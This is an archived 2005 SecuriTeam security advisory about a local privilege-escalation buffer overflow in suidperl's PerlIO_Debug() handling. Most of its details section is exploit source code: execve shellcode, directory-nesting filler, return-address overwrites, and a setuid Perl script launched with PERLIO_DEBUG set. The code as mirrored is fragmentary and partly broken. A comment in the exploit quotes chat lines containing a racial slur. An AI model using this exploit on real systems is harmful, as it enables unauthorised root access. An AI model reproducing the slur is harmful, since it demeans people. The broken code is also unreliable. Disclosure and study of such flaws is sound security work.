

[UNIX] Perl PerlIO_Debug() Buffer Overflow (Suidperl)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0055.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/14/05

To: list@securiteam.com

Date: 14 Feb 2005 15:55:04 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Perl PerlIO_Debug() Buffer Overflow (Suidperl)

SUMMARY

Suidperl is "a Perl interpreter that runs executables with setuid privileges". A buffer overflow in Perl's handling of PerlIO_Debug() allows a local attacker that can run suidperl to gain elevated privileges.

DETAILS

Exploit:

/*

* Copyright Kevin Finisterre

*

* Setuid perl PerlIO_Debug() overflow

*

* Tested on Debian 3.1 perl-suid 5.8.4-5

*

* (11:07:20) *coreziona:* who is tha man with tha masta plan?

* (11:07:36) *coreziona:* a nigga with a buffer overrun

* (11:07:39) *coreziona:* heh

* (of course that is to the tune of

<http://www.azlyrics.com/lyrics/drdre/niggawittagun.html>)

Securiteam: [UNIX] Perl PerlIO_Debug() Buffer Overflow (Suidperl)

```
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */

chdir("/tmp/");

// do one less char than usual for RedHat
filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

for (int x=0; x<4; x=x+1)
{
  mkdir(filler, 0777);
  chdir(filler);
  // do one less char than usual for RedHat
  count = count + 255;
}

  memset(tmp,0x41,len);
count = count + len;

  ptr = tmp+len;
  ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
  ptr = putLong (ptr, 0xbffffb6a);
  ptr = putLong (ptr, 0xbffffb6a);

strcat(tmp, "/");
mkdir(tmp, 0777);
chdir(tmp);

printf ("Dirlen: %d\n", count);

FILE *perlsploit;
char perldummyfile[] = {
  "#!/usr/bin/sperl5.8.4\n"
  "# \n"
  "# Be proud that perl(1) may proclaim: \n"
  "# Setuid Perl scripts are safer than C programs ... \n"
  "# Do not abandon (deprecate) suidperl. Do not advocate C
  wrappers. \n"
  };
```

Securiteam: [UNIX] Perl PerlIO_Debug() Buffer Overflow (Suidperl)

```
if(!(perlsploit = fopen("take_me.pl","w+"))) {
    printf("error opening file\n");
    exit(1);
}
fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
fclose(perlsploit);

getcwd(malpath, 10000);
strcat(malpath, "/");
strcat(malpath, "take_me.pl");
printf("Charlie Murphy!!!@#@\\n");

chmod(malpath,0755);
    setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
setenv("PERL5LIB", code, 1);
execv(malpath,(char *) NULL);

}
/*
 * put a address in mem, for little-endian
 *
 */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kfinisterre@secnetops.biz>>
Kevin Finisterre.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [UNIX] Perl PerlIO_Debug() Buffer Overflow (Suidperl)

loss of business profits or special damages.